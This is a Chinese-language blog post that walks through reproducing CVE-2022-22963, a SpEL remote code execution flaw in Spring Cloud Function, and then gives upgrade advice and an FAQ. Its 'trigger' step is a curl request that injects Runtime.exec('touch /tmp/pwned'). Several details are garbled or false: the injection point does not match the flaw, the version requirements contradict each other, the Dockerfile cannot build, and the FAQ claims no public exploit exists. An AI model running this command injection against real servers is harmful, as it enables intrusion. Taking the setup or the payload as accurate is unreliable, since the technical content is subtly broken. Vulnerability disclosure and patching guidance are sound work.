返回

CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行漏洞复现

后端

Spring Cloud Function 远程代码执行漏洞（CVE-2022-22963）：全面解析

漏洞简介

CVE-2022-22963 是一个影响 Spring Cloud Function 的严重远程代码执行漏洞，可让未经授权的攻击者执行任意代码。该漏洞源于 SpEL 表达式处理机制的缺陷，允许攻击者利用精心设计的 SpEL 表达式来执行代码。

环境搭建

漏洞复现需要以下环境：

  • Java JDK 17 或更高版本
  • Maven
  • Spring Boot 3.0.12 或更高版本
  • Spring Cloud Function 3.2.1 或更高版本
  • Docker
  • Docker Compose

漏洞利用

  1. 创建 Spring Cloud Function 项目 
    mvn archetype:generate -DgroupId=com.example -DartifactId=spring-cloud-function -DarchetypeArtifactId=spring-cloud-function-archetype
  2. 添加依赖 
    <dependency>
    <groupId>org.springframework.cloud</groupId>
    <artifactId>spring-cloud-function-adapter-aws</artifactId>
    <version>3.2.1</version>
</dependency>
  3. 创建函数类 
    public class MyFunction extends SpringBootRequestHandler<String, String> {

    @Override
    public String handleRequest(String input, Context context) {
        return input;
    }
}
  4. 创建 application.yml 文件 
    spring:
  cloud:
    function:
      definition: MyFunction
      handler: myFunction
  5. 打包 jar 包 
    mvn package
  6. 创建 Dockerfile 
    FROM openjdk:17-slim
RUN mvn package -DskipTests=true
COPY target/*.jar /app.jar
ENTRYPOINT ["java", "-jar", "/app.jar"]
  7. 构建 Docker 镜像 
    docker build -t spring-cloud-function .
  8. 运行 Docker 容器 
    docker run -p 8080:8080 spring-cloud-function
  9. 触发漏洞 
    curl -X POST http://localhost:8080/function/myFunction -d "SpEL\u0028T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwned')\u0029"

漏洞修复

Spring Cloud Function 3.2.2 及更高版本已修复此漏洞。强烈建议用户升级到最新版本。

总结

CVE-2022-22963 是一个高危远程代码执行漏洞，可能导致服务器被攻击者控制。用户应立即采取行动，升级到 Spring Cloud Function 3.2.2 或更高版本，以确保其系统的安全。

常见问题解答

1. 漏洞是如何利用的？
通过精心设计的 SpEL 表达式，攻击者可以执行任意代码。

2. 谁容易受到此漏洞的影响？
使用 Spring Cloud Function 3.2.1 或更低版本的用户容易受到此漏洞的影响。

3. 升级到最新版本是否足以修复漏洞？
是的，升级到 Spring Cloud Function 3.2.2 或更高版本将修复此漏洞。

4. 我应该采取哪些其他预防措施？
除了升级之外，还应实施以下安全措施：

  • 限制对 Spring Cloud Function 的访问
  • 使用 Web 应用程序防火墙
  • 定期监控和修补系统

5. 存在针对此漏洞的公开漏洞利用程序吗？
目前没有公开的漏洞利用程序，但强烈建议升级以防止潜在攻击。